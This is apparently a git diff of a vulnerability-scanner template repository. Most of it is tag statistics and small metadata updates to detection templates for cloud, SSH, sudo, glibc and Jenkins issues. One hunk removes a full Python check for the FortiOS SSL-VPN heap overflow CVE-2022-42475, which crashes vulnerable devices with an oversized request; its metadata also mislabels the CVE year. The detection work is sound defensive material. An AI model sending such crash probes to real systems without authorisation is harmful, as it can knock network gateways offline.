{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
+6763 -6951
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| cve | 3330 | dhiyaneshdk | 1871 | http | 9035 | info | 4236 | file | 436 |
| panel | 1349 | daffainfo | 868 | cloud | 657 | high | 2486 | dns | 26 |
| xss | 1249 | princechaddha | 854 | file | 436 | medium | 2387 | | |
| wordpress | 1189 | dwisiswant0 | 806 | code | 249 | critical | 1444 | | |
| exposure | 1114 | ritikchaddha | 658 | dast | 238 | low | 322 | | |
| wp-plugin | 1038 | pussycat0x | 546 | workflows | 203 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 151 | | | | |
| tech | 811 | pdteam | 310 | javascript | 78 | | | | |
| rce | 796 | pdresearch | 271 | ssl | 38 | | | | |
| lfi | 779 | iamnoooob | 259 | dns | 23 | | | | |
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: emails
internal: true
json:
- ".[].email"
- '.[].email'
- engine:
- sh
@@ -63,12 +63,10 @@ code:
matchers:
- type: word
words:
- "USER_MANAGED"
- "KEY_ID"
condition: or
- 'KEY_ID'
extractors:
- type: dsl
dsl:
- '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: buckets
internal: true
json:
- ".[].name"
- '.[].name'
- engine:
- sh
@@ -62,13 +62,11 @@ code:
matchers:
- type: word
negative: true
words:
- "inherited"
- "enforced"
- 'inherited'
extractors:
- type: dsl
dsl:
- '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
+3 -4
View File
@@ -35,7 +35,7 @@ code:
name: projectIds
internal: true
json:
- ".[].projectId"
- '.[].projectId'
- engine:
- sh
@@ -45,12 +45,11 @@ code:
matchers:
- type: word
part: body
words:
- '"name": "default"'
- 'default'
extractors:
- type: dsl
dsl:
- '"The default VPC network is in use in project " + projectId'
# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
tags: cis,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -58,4 +58,4 @@ code:
name: policy-error
words:
- "Policy-Error"
# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
- https://docs.datadoghq.com/security/default_rules/def-000-fqw/
metadata:
verified: true
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
tags: cis,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -43,4 +43,4 @@ code:
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
+1 -4
View File
@@ -10,9 +10,6 @@ info:
- https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
metadata:
verified: true
classification:
epss-score: 0.94436
epss-percentile: 0.99986
tags: cve,cve2014,openssl,heartbleed,code,kev
variables:
@@ -138,4 +135,4 @@ code:
- type: dsl
dsl:
- "contains(response,'server is vulnerable')"
# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.94419
epss-percentile: 0.99979
epss-score: 0.94421
epss-percentile: 0.99980
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -104,4 +104,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.94411
epss-percentile: 0.99975
epss-percentile: 0.99974
metadata:
verified: true
vendor: microsoft
@@ -154,4 +154,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.84563
epss-percentile: 0.99284
epss-percentile: 0.99279
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -47,4 +47,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4b0a00483046022100c1d0e6e00841e13c6ae67d95d0b02a6cf0947cdc0ec6e54eb4877e229271f8eb022100a10a0cceb9b1016c22bcc2d6459098802b0dc449da93e4bfefd4f2fcfb44872b:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.93121
epss-percentile: 0.99783
epss-score: 0.92775
epss-percentile: 0.99755
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -102,4 +102,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.92195
epss-percentile: 0.99703
epss-score: 0.91885
epss-percentile: 0.99681
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.92492
epss-percentile: 0.99726
epss-score: 0.92019
epss-percentile: 0.99693
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -40,4 +40,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4a0a004730450220116acc9627f4685ad779e90097e7034e251856df89fd56d03ba53837d13f0986022100fe150737937481ab215b5d0e2137cb9276d7e005bb7e92c79ce0087766cec0f8:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
-196
View File
@@ -1,196 +0,0 @@
id: CVE-2022-42475
info:
name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
author: 0xhaggis,pszyszkowski,pussycat0x
severity: critical
description: |
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
remediation: |
Fixed in:
FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
FortiProxy >= 7.2.2, 7.0.8, 2.0.12
reference:
- https://github.com/0xhaggis/CVE-2022-42475
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
classification:
epss-score: 0.9394
epss-percentile: 0.99873
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-42475
cwe-id: CWE-122
metadata:
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- port:10443 http.favicon.hash:945408572
- cpe:"cpe:2.3:o:fortinet:fortios"
- http.html:"/remote/login" "xxxxxxxx"
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}/remote/login"
- "{{BaseURL}}/login"
stop-at-first-match: true
host-redirects: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
return self.socket
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
except Exception as e:
print("Unknown error!")
print(e)
return None
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
self.socket.sendall(get_req)
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
return None
self.socket.close()
return True
except socket.timeout as e:
print("[>] Target waited for more data.")
return False
except Exception as e:
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
else:
print("[+] Target is NOT vulnerable")
exit(1)
matchers:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 480a00453043021f35b1e6cb5dd443fe5d86eb7d588b599b95e1af87137da1e4d6fb5804c8a9a602201d06f797448d26f65179c6c9a067ff8d245067a3b42b2b21c19d3fb469d6b8c4:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.92037
epss-percentile: 0.99695
epss-score: 0.91874
epss-percentile: 0.99680
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.86244
epss-percentile: 0.99361
epss-score: 0.86872
epss-percentile: 0.99395
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -90,4 +90,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 4a0a004730450221008875cf05746628578112f29d306e793ce585a00ead604f44bdcaf6d1e45ceb68022010a85a681e0751ef0baed0f13e8c575a0bb4e324ab5d54a1a7c187604bcda5c0:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.74116
epss-percentile: 0.98791
epss-score: 0.66736
epss-percentile: 0.98452
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 490a00463044022040a81ac2ad959d217857499ca5396b31db4906f82ffd9773e2b3e8bc9c5ec2dd02200bb9811d32aee0b5be5586f698e40c9a553cc8942a956ad6620aa1afa22b97a0:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.28497
epss-percentile: 0.96362
epss-score: 0.22699
epss-percentile: 0.95613
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 4b0a00483046022100bd86241977f77ec4471f4e215f239cd4c2c4d310009522616754bff1c83e43e9022100de9dfa0d46bfe5e3e45eaa6462a5c01aeb6007a4952bb1697d6dedbc276270bc:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
